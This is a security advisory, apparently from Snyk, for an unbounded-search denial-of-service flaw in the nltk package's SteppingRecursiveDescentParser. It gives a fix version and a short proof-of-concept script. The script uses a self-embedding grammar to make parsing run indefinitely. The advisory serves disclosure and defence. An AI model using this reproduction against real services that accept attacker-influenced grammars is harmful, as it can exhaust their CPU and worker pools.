Inefficient Algorithmic Complexity Affecting nltk package, versions [,3.10.4)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.56% (48th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22549625
  • published14 Nov 2026
  • disclosed13 Nov 2026
  • creditzx, manus-use, Daniel Coles

Introduced: 13 Nov 2026

NewCVE-2026-126303  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via SteppingRecursiveDescentParser.parse() in nltk/parse/recursivedescent.py, which performs an unbounded top-down search over ambiguous or self-embedding context-free grammars with no wall-clock or step limit. The base class RecursiveDescentParser arms a max_time wall-clock deadline inside _parse, but the stepping subclass overrides both parse() and _parse(), drives its own while self.step() is not None loop that never enters the guarded base _parse, and its constructor omits the max_time parameter entirely, so the deadline cannot be enabled on this path. An attacker who can influence the grammar and supply a short token sequence to a caller that invokes parse() can force the call to pin a CPU core indefinitely, exhausting a bounded worker pool.

Note: This is only exploitable when the target uses SteppingRecursiveDescentParser on attacker-influenced grammar or input; the stepping parser is primarily a debugging and interactive-stepping component, so real-world exposure is narrower than for the base parser.

PoC

Proof of Concept

Requires only the nltk package (3.10.3) and standard library; no data downloads or network access. Reproduction steps:

  1. Build an ambiguous, self-embedding grammar such as S -> 'a' S S | 'a'.
  2. Confirm the base parser self-terminates: RecursiveDescentParser(g, max_time=2.0).parse(['a']*17) raises TimeoutError at about 2 seconds.
  3. Run the stepping parser on the same grammar and input and observe it never returns.
import time, inspect
from nltk import CFG
from nltk.parse.recursivedescent import RecursiveDescentParser, SteppingRecursiveDescentParser

g = CFG.fromstring("S -> 'a' S S | 'a'")

Base parser is bounded and self-terminates.

try: list(RecursiveDescentParser(g, max_time=2.0).parse(['a'] * 17)) except TimeoutError: print("base: TimeoutError (guarded)")

Stepping subclass cannot be bounded: no max_time parameter.

print("stepping init sig:", inspect.signature(SteppingRecursiveDescentParser.init))

Stepping parser runs unbounded on the same input.

t0 = time.perf_counter() list(SteppingRecursiveDescentParser(g).parse(['a'] * 17)) # does not return print("stepping: returned after", time.perf_counter() - t0)

base: TimeoutError (guarded)
stepping __init__ sig: (self, grammar, trace=0)
# stepping len3: 1 parse in 0.001s ; len7: 5 in 0.017s ; len9: 14 in 0.075s ; len11: 42 in 0.36s
# stepping len17: still running past a 10s watchdog, process alive, no RecursionError

Note: Requires only the nltk package (3.10.3) and the standard library, with no data downloads or network access.

CVSS Base Scores

version 4.0
version 3.1